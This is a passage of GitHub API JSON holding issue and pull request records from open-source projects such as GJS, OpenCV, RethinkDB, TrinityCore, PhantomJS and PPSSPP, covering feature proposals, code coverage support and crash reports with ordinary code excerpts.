GJS","user":{"login":"smspillaz","id":775309,"avatar_url":"https://avatars.githubusercontent.com/u/775309","gravatar_id":"27ecfada6258e22f92da0c5c9ffafd47","url":"https://api.github.com/users/smspillaz","html_url":"https://github.com/smspillaz","followers_url":"https://api.github.com/users/smspillaz/followers","following_url":"https://api.github.com/users/smspillaz/following{/other_user}","gists_url":"https://api.github.com/users/smspillaz/gists{/gist_id}","starred_url":"https://api.github.com/users/smspillaz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smspillaz/subscriptions","organizations_url":"https://api.github.com/users/smspillaz/orgs","repos_url":"https://api.github.com/users/smspillaz/repos","events_url":"https://api.github.com/users/smspillaz/events{/privacy}","received_events_url":"https://api.github.com/users/smspillaz/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-12-26T18:59:24Z","updated_at":"2014-01-07T03:13:49Z","closed_at":null,"pull_request":{"html_url":"https://github.com/smspillaz/gjs/pull/1","diff_url":"https://github.com/smspillaz/gjs/pull/1.diff","patch_url":"https://github.com/smspillaz/gjs/pull/1.patch"},"body":"This branch adds code coverage support to Gjs.\r\n\r\nOne of the main items of work here was to provide a suitable abstraction for the debugger functionality in SpiderMonkey so that multiple clients could use it concurrently (eg, the function profiler and the code coverage tool and potentially a real debugger in the future).\r\n\r\nThis is provided through the GjsInterruptRegister interface (and its implementation GjsDebugInterruptRegister). It effectively works by providing a central place where clients can add callbacks and each of its functions returns a GjsDebugConnection. Once the client is done using the debugger in the way that they need to, they simply unref the connection and it will call back into the interrupt register and change the SpiderMonkey state appropriately if need be.\r\n\r\nGjsProfiler and GjsCoverage effectively work by using this interface, the former placing a hook on toplevel execution and function calls and the latter putting the script under coverage into single-step mode where we can record line hit information. It then (if requested) will require this information out to a file.\r\n\r\nQ & A:\r\n\r\n * Q: Why not use signals?\r\n * A: Signals don't provide us with a means to get a notification when the observer starts or stops observing a signal. We need this information in order to put SpiderMonkey in the right state when we need it (else keeping the debugging hooks on indefinitely will be needlessly expensive).\r\n\r\n * Q: The object ownership between GjsInterruptRegister, GjsCoverage and GjsProfiler seems strange.\r\n * A: This is an area I'd like some feedback and advice. The design would be far more optimal if GjsCoverage and GjsProfiler took ownership of GjsinterruptRegister outside the scope of the context as opposed to within it. However, it seems like the Gjs authors wanted to be able to use the profiler with any that uses Gjs as an embedded language, which means that the profiler needed to be owned (and created by) the context. This in turn means that we need to have GjsCoverage owned by the context as well. However, it is slightly awkward, since in order to construct it we need to have clients provide the requested coverage paths and coverage output file in the form of construction properties.","score":0.13473003},{"url":"https://api.github.com/repos/Itseez/opencv/issues/1447","labels_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/labels{/name}","comments_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/comments","events_url":"https://api.github.com/repos/Itseez/opencv/issues/1447/events","html_url":"https://github.com/Itseez/opencv/pull/1447","id":19446174,"number":1447,"title":"Pull Request for Computational Photography","user":{"login":"Siddharthk","id":718854,"avatar_url":"https://avatars.githubusercontent.com/u/718854","gravatar_id":"e8bd224f44c0e57cd09ee79696be14d5","url":"https://api.github.com/users/Siddharthk","html_url":"https://github.com/Siddharthk","followers_url":"https://api.github.com/users/Siddharthk/followers","following_url":"https://api.github.com/users/Siddharthk/following{/other_user}","gists_url":"https://api.github.com/users/Siddharthk/gists{/gist_id}","starred_url":"https://api.github.com/users/Siddharthk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Siddharthk/subscriptions","organizations_url":"https://api.github.com/users/Siddharthk/orgs","repos_url":"https://api.github.com/users/Siddharthk/repos","events_url":"https://api.github.com/users/Siddharthk/events{/privacy}","received_events_url":"https://api.github.com/users/Siddharthk/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":{"login":"AnnaKogan8","id":2435529,"avatar_url":"https://avatars.githubusercontent.com/u/2435529","gravatar_id":"153773b9480f1ca735f811d2b46b1a47","url":"https://api.github.com/users/AnnaKogan8","html_url":"https://github.com/AnnaKogan8","followers_url":"https://api.github.com/users/AnnaKogan8/followers","following_url":"https://api.github.com/users/AnnaKogan8/following{/other_user}","gists_url":"https://api.github.com/users/AnnaKogan8/gists{/gist_id}","starred_url":"https://api.github.com/users/AnnaKogan8/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnnaKogan8/subscriptions","organizations_url":"https://api.github.com/users/AnnaKogan8/orgs","repos_url":"https://api.github.com/users/AnnaKogan8/repos","events_url":"https://api.github.com/users/AnnaKogan8/events{/privacy}","received_events_url":"https://api.github.com/users/AnnaKogan8/received_events","type":"User","site_admin":false},"milestone":null,"comments":146,"created_at":"2013-09-13T13:01:08Z","updated_at":"2013-12-09T14:01:16Z","closed_at":"2013-12-05T08:38:36Z","pull_request":{"html_url":"https://github.com/Itseez/opencv/pull/1447","diff_url":"https://github.com/Itseez/opencv/pull/1447.diff","patch_url":"https://github.com/Itseez/opencv/pull/1447.patch"},"body":"All 3 modules added","score":0.113595694},{"url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176","labels_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/labels{/name}","comments_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/comments","events_url":"https://api.github.com/repos/telefonicaid/fiware-orion/issues/176/events","html_url":"https://github.com/telefonicaid/fiware-orion/pull/176","id":24614652,"number":176,"title":"contextBroker IPv6 support","user":{"login":"rbl219","id":5345527,"avatar_url":"https://avatars.githubusercontent.com/u/5345527","gravatar_id":"7f07f76114a467657383a5afb259600b","url":"https://api.github.com/users/rbl219","html_url":"https://github.com/rbl219","followers_url":"https://api.github.com/users/rbl219/followers","following_url":"https://api.github.com/users/rbl219/following{/other_user}","gists_url":"https://api.github.com/users/rbl219/gists{/gist_id}","starred_url":"https://api.github.com/users/rbl219/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbl219/subscriptions","organizations_url":"https://api.github.com/users/rbl219/orgs","repos_url":"https://api.github.com/users/rbl219/repos","events_url":"https://api.github.com/users/rbl219/events{/privacy}","received_events_url":"https://api.github.com/users/rbl219/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":7,"created_at":"2013-12-20T10:26:16Z","updated_at":"2014-02-10T18:39:54Z","closed_at":"2014-02-10T18:39:54Z","pull_request":{"html_url":"https://github.com/telefonicaid/fiware-orion/pull/176","diff_url":"https://github.com/telefonicaid/fiware-orion/pull/176.diff","patch_url":"https://github.com/telefonicaid/fiware-orion/pull/176.patch"},"body":"This PR includes changes in contextBroker and orion common libraries for IPv6 support","score":0.07127465},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/labels{/name}","comments_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/comments","events_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/977/events","html_url":"https://github.com/rethinkdb/rethinkdb/issues/977","id":15371319,"number":977,"title":"Proposal: Dates","user":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3Areview","name":"tp:review","color":"eedd11"},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3ARQL_proposal","name":"tp:RQL_proposal","color":"0052cc"},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3AAPI_settled","name":"tp:API_settled","color":"007575"}],"state":"closed","assignee":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/40","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/40/labels","id":366793,"number":40,"title":"1.8","description":"","creator":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":96,"state":"closed","created_at":"2013-06-29T01:55:11Z","updated_at":"2013-08-30T00:57:02Z","due_on":"2013-08-13T07:00:00Z"},"comments":164,"created_at":"2013-06-10T22:05:05Z","updated_at":"2013-10-04T16:47:24Z","closed_at":"2013-08-08T23:30:00Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I propose that we introduce three new pseudo-types: dates (by which I mean date, time, and optional timezone), durations, and intervals, all cribbed from ISO 8601 (http://en.wikipedia.org/wiki/ISO_8601), which we represent as strings.\r\n\r\nWe introduce the following terms:\r\n```ruby\r\ndate.date_sub(other_date) => duration\r\ndate.dur_sub(duration) => other_date\r\ndate.dur_add(duration) => other_date\r\nduration.dur_sub(other_duration) => third_duration\r\nduration.dur_add(other_duration) => third_duration\r\n\r\ndate.date_{lt/gt/le/ge/eq/ne}(other_date) => bool\r\nduration.dur_{lt/gt/le/ge/eq/ne}(other_date) => bool\r\n\r\n# intervals can also be specified directly as strings\r\nr.interval(date, other_date) => interval\r\nr.interval(date, duration) => interval\r\ndate.during(interval) => bool\r\n```\r\n\r\nWe should also update the drivers to automatically render native dates/durations/intervals as the appropriate strings.\r\n\r\nSo, for example, in Ruby you could get all rows inserted in the last day with:\r\n```ruby\r\ntable.between(Date.today, Date.today - 1, :index => :timestamp)\r\n```\r\nOr, if Ruby didn't have easy date manipulation:\r\n```ruby\r\ntable.between(Time.now, r(Time.now).dur_sub(\"P1M\"), :index => :timestamp)\r\n```","score":0.03586875},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1179/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1179","id":23128902,"number":1179,"title":"[Android][SysApps] Implement W3C SysApps Contacts API","user":{"login":"deqing","id":1152174,"avatar_url":"https://avatars.githubusercontent.com/u/1152174","gravatar_id":"8028a6a5008b0f8ccea391fb276a4000","url":"https://api.github.com/users/deqing","html_url":"https://github.com/deqing","followers_url":"https://api.github.com/users/deqing/followers","following_url":"https://api.github.com/users/deqing/following{/other_user}","gists_url":"https://api.github.com/users/deqing/gists{/gist_id}","starred_url":"https://api.github.com/users/deqing/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deqing/subscriptions","organizations_url":"https://api.github.com/users/deqing/orgs","repos_url":"https://api.github.com/users/deqing/repos","events_url":"https://api.github.com/users/deqing/events{/privacy}","received_events_url":"https://api.github.com/users/deqing/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":13,"created_at":"2013-11-22T10:31:59Z","updated_at":"2013-12-05T17:23:04Z","closed_at":"2013-12-05T17:23:04Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1179","diff_url":"https://github.com/crosswalk-project/crosswalk/pull/1179.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1179.patch"},"body":"The implementation is based on 26 August 2013 editor's draft version:\r\nhttp://www.w3.org/2012/sysapps/contacts-manager-api/\r\n\r\nCompleted features list:\r\n* Save/update individual contact and contacts in batch\r\n* Find/list contacts\r\n* Remove contacts\r\n* Contact change event\r\n\r\nDesign ideas can be found in the [\"Intent to implement\" document](http://www.mail-archive.com/crosswalk-dev@lists.crosswalk-project.org/msg00346.html).\r\nFeature: [XWALK-49](https://crosswalk-project.org/jira/browse/XWALK-49)","score":0.11442199},{"url":"https://api.github.com/repos/mangosR2/mangos/issues/456","labels_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/labels{/name}","comments_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/comments","events_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/events","html_url":"https://github.com/mangosR2/mangos/issues/456","id":2042576,"number":456,"title":"branch testing - for test code.","user":{"login":"rsa","id":148874,"avatar_url":"https://avatars.githubusercontent.com/u/148874","gravatar_id":"457439dd610042a46972f25d1c8b1019","url":"https://api.github.com/users/rsa","html_url":"https://github.com/rsa","followers_url":"https://api.github.com/users/rsa/followers","following_url":"https://api.github.com/users/rsa/following{/other_user}","gists_url":"https://api.github.com/users/rsa/gists{/gist_id}","starred_url":"https://api.github.com/users/rsa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsa/subscriptions","organizations_url":"https://api.github.com/users/rsa/orgs","repos_url":"https://api.github.com/users/rsa/repos","events_url":"https://api.github.com/users/rsa/events{/privacy}","received_events_url":"https://api.github.com/users/rsa/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/mangosR2/mangos/labels/Need+test","name":"Need test","color":"e10c02"}],"state":"closed","assignee":null,"milestone":null,"comments":151,"created_at":"2011-10-25T08:24:47Z","updated_at":"2012-03-08T08:49:55Z","closed_at":"2012-03-08T08:49:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"continue discussion from old issues by stability.","score":0.05234338},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218","labels_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/labels{/name}","comments_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/comments","events_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/events","html_url":"https://github.com/TrinityCore/TrinityCore/issues/5218","id":3199401,"number":5218,"title":"[GDB-Backtrace] Collision BIH::intersectRay","user":{"login":"Amit86","id":977628,"avatar_url":"https://avatars.githubusercontent.com/u/977628","gravatar_id":"6096498e2a310a150d64eca522e65215","url":"https://api.github.com/users/Amit86","html_url":"https://github.com/Amit86","followers_url":"https://api.github.com/users/Amit86/followers","following_url":"https://api.github.com/users/Amit86/following{/other_user}","gists_url":"https://api.github.com/users/Amit86/gists{/gist_id}","starred_url":"https://api.github.com/users/Amit86/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Amit86/subscriptions","organizations_url":"https://api.github.com/users/Amit86/orgs","repos_url":"https://api.github.com/users/Amit86/repos","events_url":"https://api.github.com/users/Amit86/events{/privacy}","received_events_url":"https://api.github.com/users/Amit86/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/HasBacktrace","name":"HasBacktrace","color":"02e10c"},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Priority-Critical","name":"Priority-Critical","color":"e102d8"}],"state":"closed","assignee":{"login":"Subv","id":357072,"avatar_url":"https://avatars.githubusercontent.com/u/357072","gravatar_id":"22425321ce534d18919abbe8d3349f09","url":"https://api.github.com/users/Subv","html_url":"https://github.com/Subv","followers_url":"https://api.github.com/users/Subv/followers","following_url":"https://api.github.com/users/Subv/following{/other_user}","gists_url":"https://api.github.com/users/Subv/gists{/gist_id}","starred_url":"https://api.github.com/users/Subv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Subv/subscriptions","organizations_url":"https://api.github.com/users/Subv/orgs","repos_url":"https://api.github.com/users/Subv/repos","events_url":"https://api.github.com/users/Subv/events{/privacy}","received_events_url":"https://api.github.com/users/Subv/received_events","type":"User","site_admin":false},"milestone":null,"comments":147,"created_at":"2012-02-13T12:00:09Z","updated_at":"2013-11-05T05:50:57Z","closed_at":"2013-01-21T02:10:14Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On hash 84268be\r\n\r\nFirst collision crash\r\n\r\n\r\nLink: http://paste2.org/p/1902836\r\n\r\nJust an FYI for Sub, dont close if the lines doesnt fit my spell::update isnt alterd\r\n\r\n```cpp\r\n\r\n\r\nvoid Spell::update(uint32 difftime)\r\n{\r\n // update pointers based at it's GUIDs\r\n UpdatePointers();\r\n\r\n if (m_targets.GetUnitTargetGUID() && !m_targets.GetUnitTarget())\r\n {\r\n sLog->outDebug(LOG_FILTER_SPELLS_AURAS, \"Spell %u is cancelled due to removal of target.\", m_spellInfo->Id);\r\n cancel();\r\n return;\r\n }\r\n\r\n // check if the player caster has moved before the spell finished\r\n if ((m_caster->GetTypeId() == TYPEID_PLAYER && m_timer != 0) &&\r\n m_caster->isMoving() && (m_spellInfo->InterruptFlags & SPELL_INTERRUPT_FLAG_MOVEMENT) &&\r\n (m_spellInfo->Effects[0].Effect != SPELL_EFFECT_STUCK || !m_caster->HasUnitMovementFlag(MOVEMENTFLAG_FALLING)))\r\n {\r\n // don't cancel for melee, autorepeat, triggered and instant spells\r\n if (!IsNextMeleeSwingSpell() && !IsAutoRepeat() && !IsTriggered())\r\n cancel();\r\n }\r\n\r\n switch (m_spellState)\r\n {\r\n case SPELL_STATE_PREPARING:\r\n {\r\n if (m_timer > 0)\r\n {\r\n // Cancel the cast if the target is not in line of sight\r\n if (m_targets.GetUnitTarget() && !m_caster->IsWithinLOSInMap(m_targets.GetUnitTarget()))\r\n {\r\n SendCastResult(SPELL_FAILED_LINE_OF_SIGHT);\r\n cancel();\r\n return;\r\n }\r\n\r\n if (difftime >= (uint32)m_timer)\r\n m_timer = 0;\r\n else\r\n m_timer -= difftime;\r\n }\r\n\r\n if (m_timer == 0 && !IsNextMeleeSwingSpell() && !IsAutoRepeat())\r\n // don't CheckCast for instant spells - done in spell::prepare, skip duplicate checks, needed for range checks for example\r\n cast(!m_casttime);\r\n break;\r\n }\r\n case SPELL_STATE_CASTING:\r\n {\r\n if (m_timer)\r\n {\r\n // check if there are alive targets left\r\n if (!UpdateChanneledTargetList())\r\n {\r\n sLog->outDebug(LOG_FILTER_SPELLS_AURAS, \"Channeled spell %d is removed due to lack of targets\", m_spellInfo->Id);\r\n SendChannelUpdate(0);\r\n finish();\r\n }\r\n\r\n if (m_timer > 0)\r\n {\r\n if (difftime >= (uint32)m_timer)\r\n m_timer = 0;\r\n else\r\n m_timer -= difftime;\r\n }\r\n }\r\n\r\n if (m_timer == 0)\r\n {\r\n SendChannelUpdate(0);\r\n\r\n // channeled spell processed independently for quest targeting\r\n // cast at creature (or GO) quest objectives update at successful cast channel finished\r\n // ignore autorepeat/melee casts for speed (not exist quest for spells (hm...)\r\n if (!IsAutoRepeat() && !IsNextMeleeSwingSpell())\r\n {\r\n if (Player* p = m_caster->GetCharmerOrOwnerPlayerOrPlayerItself())\r\n {\r\n for (std::list::iterator ihit = m_UniqueTargetInfo.begin(); ihit != m_UniqueTargetInfo.end(); ++ihit)\r\n {\r\n TargetInfo* target = &*ihit;\r\n if (!IS_CRE_OR_VEH_GUID(target->targetGUID))\r\n continue;\r\n\r\n Unit* unit = m_caster->GetGUID() == target->targetGUID ? m_caster : ObjectAccessor::GetUnit(*m_caster, target->targetGUID);\r\n if (unit == NULL)\r\n continue;\r\n\r\n p->CastedCreatureOrGO(unit->GetEntry(), unit->GetGUID(), m_spellInfo->Id);\r\n }\r\n\r\n for (std::list::iterator ihit = m_UniqueGOTargetInfo.begin(); ihit != m_UniqueGOTargetInfo.end(); ++ihit)\r\n {\r\n GOTargetInfo* target = &*ihit;\r\n\r\n GameObject* go = m_caster->GetMap()->GetGameObject(target->targetGUID);\r\n if (!go)\r\n continue;\r\n\r\n p->CastedCreatureOrGO(go->GetEntry(), go->GetGUID(), m_spellInfo->Id);\r\n }\r\n }\r\n }\r\n\r\n finish();\r\n }\r\n break;\r\n }\r\n default:\r\n break;\r\n }\r\n}\r\n```","score":0.113824666},{"url":"https://api.github.com/repos/ariya/phantomjs/issues/11418","labels_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/labels{/name}","comments_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/comments","events_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/events","html_url":"https://github.com/ariya/phantomjs/issues/11418","id":15753818,"number":11418,"title":"CoreText Issue on OS X Mavericks. For best performance, only use PostScript names when calling CTFontCreateWithName()","user":{"login":"wisesimpson","id":544374,"avatar_url":"https://avatars.githubusercontent.com/u/544374","gravatar_id":"80161171790cd0b6dfe442999be578ce","url":"https://api.github.com/users/wisesimpson","html_url":"https://github.com/wisesimpson","followers_url":"https://api.github.com/users/wisesimpson/followers","following_url":"https://api.github.com/users/wisesimpson/following{/other_user}","gists_url":"https://api.github.com/users/wisesimpson/gists{/gist_id}","starred_url":"https://api.github.com/users/wisesimpson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wisesimpson/subscriptions","organizations_url":"https://api.github.com/users/wisesimpson/orgs","repos_url":"https://api.github.com/users/wisesimpson/repos","events_url":"https://api.github.com/users/wisesimpson/events{/privacy}","received_events_url":"https://api.github.com/users/wisesimpson/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Priority-High","name":"Priority-High","color":"ededed"},{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Status-Accepted","name":"Status-Accepted","color":"ededed"},{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Domain-Qt","name":"Domain-Qt","color":"ededed"}],"state":"closed","assignee":{"login":"ariya","id":7288,"avatar_url":"https://avatars.githubusercontent.com/u/7288","gravatar_id":"0284b8950e0f4a57bcc092d4dbb98d97","url":"https://api.github.com/users/ariya","html_url":"https://github.com/ariya","followers_url":"https://api.github.com/users/ariya/followers","following_url":"https://api.github.com/users/ariya/following{/other_user}","gists_url":"https://api.github.com/users/ariya/gists{/gist_id}","starred_url":"https://api.github.com/users/ariya/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ariya/subscriptions","organizations_url":"https://api.github.com/users/ariya/orgs","repos_url":"https://api.github.com/users/ariya/repos","events_url":"https://api.github.com/users/ariya/events{/privacy}","received_events_url":"https://api.github.com/users/ariya/received_events","type":"User","site_admin":false},"milestone":null,"comments":140,"created_at":"2013-06-19T16:13:46Z","updated_at":"2014-02-14T15:03:41Z","closed_at":"2014-01-04T04:42:51Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When I run phantoms 1.9.1 (downloaded) on the new OS X Mavericks, I got this:\r\n\r\n2013-06-19 23:46:05.765 phantomjs[6149:507] CoreText performance note: Client called CTFontCreateWithName() using name \"Times New Roman\" and got font with PostScript name \"TimesNewRomanPSMT\". For best performance, only use PostScript names when calling this API.\r\n2013-06-19 23:46:05.767 phantomjs[6149:507] CoreText performance note: Set a breakpoint on CTFontLogSuboptimalRequest to debug.\r\n\r\nI think change the \"Times New Roman\" to \"TimesNewRomanPSMT\" may fix the issue.","score":0.11483045},{"url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2","labels_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/comments","events_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/events","html_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2","id":8091725,"number":2,"title":"Logging (ign_logging)","user":{"login":"glimhumbletoes","id":1552722,"avatar_url":"https://avatars.githubusercontent.com/u/1552722","gravatar_id":"2b5c50bdfda433e1ee6f9cb768c9167b","url":"https://api.github.com/users/glimhumbletoes","html_url":"https://github.com/glimhumbletoes","followers_url":"https://api.github.com/users/glimhumbletoes/followers","following_url":"https://api.github.com/users/glimhumbletoes/following{/other_user}","gists_url":"https://api.github.com/users/glimhumbletoes/gists{/gist_id}","starred_url":"https://api.github.com/users/glimhumbletoes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/glimhumbletoes/subscriptions","organizations_url":"https://api.github.com/users/glimhumbletoes/orgs","repos_url":"https://api.github.com/users/glimhumbletoes/repos","events_url":"https://api.github.com/users/glimhumbletoes/events{/privacy}","received_events_url":"https://api.github.com/users/glimhumbletoes/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":{"login":"chris5287","id":1552744,"avatar_url":"https://avatars.githubusercontent.com/u/1552744","gravatar_id":"68e2fb94c6f5ca87d97d946f1d5fa293","url":"https://api.github.com/users/chris5287","html_url":"https://github.com/chris5287","followers_url":"https://api.github.com/users/chris5287/followers","following_url":"https://api.github.com/users/chris5287/following{/other_user}","gists_url":"https://api.github.com/users/chris5287/gists{/gist_id}","starred_url":"https://api.github.com/users/chris5287/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chris5287/subscriptions","organizations_url":"https://api.github.com/users/chris5287/orgs","repos_url":"https://api.github.com/users/chris5287/repos","events_url":"https://api.github.com/users/chris5287/events{/privacy}","received_events_url":"https://api.github.com/users/chris5287/received_events","type":"User","site_admin":false},"milestone":null,"comments":4,"created_at":"2012-11-04T20:16:18Z","updated_at":"2012-11-15T00:27:42Z","closed_at":"2012-11-15T00:27:42Z","pull_request":{"html_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2","diff_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2.diff","patch_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2.patch"},"body":"Proposed initial version of inglenooks logging library. Pull request includes:\r\n\r\n
    \r\n
  • Inglenook logging library (all content of src/lib/ign_logging)
  • \r\n
  • Test routines (code coverage for all library, except exclusions cited in all_tests.h )
  • \r\n
  • Logging example code (all content of src/examples/lib/ign_logging )
  • \r\n
  • Modifications to CMAKE to support additional switches
  • \r\n
  • Build switch -DWITH_EXAMPLES ( On by default).
  • \r\n
\r\n\r\nThis release is tagged as ign_logging_v1.0.0000.","score":0.10236126},{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/events","html_url":"https://github.com/hrydgard/ppsspp/issues/2846","id":16982116,"number":2846,"title":"Persona 3 Portable 5th block crash *fixed*","user":{"login":"CrymsonZX","id":5048874,"avatar_url":"https://avatars.githubusercontent.com/u/5048874","gravatar_id":"dcc50045fb21f472c9d5b6d35eb822c5","url":"https://api.github.com/users/CrymsonZX","html_url":"https://github.com/CrymsonZX","followers_url":"https://api.github.com/users/CrymsonZX/followers","following_url":"https://api.github.com/users/CrymsonZX/following{/other_user}","gists_url":"https://api.github.com/users/CrymsonZX/gists{/gist_id}","starred_url":"https://api.github.com/users/CrymsonZX/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CrymsonZX/subscriptions","organizations_url":"https://api.github.com/users/CrymsonZX/orgs","repos_url":"https://api.github.com/users/CrymsonZX/repos","events_url":"https://api.github.com/users/CrymsonZX/events{/privacy}","received_events_url":"https://api.github.com/users/CrymsonZX/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":132,"created_at":"2013-07-19T17:21:36Z","updated_at":"2014-01-30T07:00:32Z","closed_at":"2014-01-30T07:00:32Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When I try to access the 5th block of Tartarus the game crashes with no explanation, I can still get to it via the 4th block but when I exit a battle 9 times out of 10 it'll crash as well, I'm using the default emulator settings and the game has been going smoothly till this point so I am really confused as to why this is happening.\r\nIf anyone knows how to fix this, I'd be really glad to try it.\r\nThank you in advance.\r\n\r\nEDIT: Works with Hardware Transforming disabled, tested on version 0.8.1-648-g88685b0\r\nSpecial thanks to @solarmystic and @vsub \r\n\r\nEDIT 2: first of all, sorry for no updates, been trying to reach 5th block on my 2nd playthrough, but now that I'm there I can say that @sum2012 's build works with Hardware Transform ON, I can play perfectly without any crashes, but, I don't see a difference in speed as @solarmystic said, but that may be just me. In conclusion, this is closed for good, I'll just keep using this build until an actual official fixed version is released by the developers.\r\nThank you @sum2012 for the build and @solarmystic for the trace that led to the build. And again, sorry for no updates in a while.\r\n\r\nEDIT 3: Oops, guess I said that too soon... Tried to close the menu while in the block and it crashed on me... I'm gonna need to re-open this 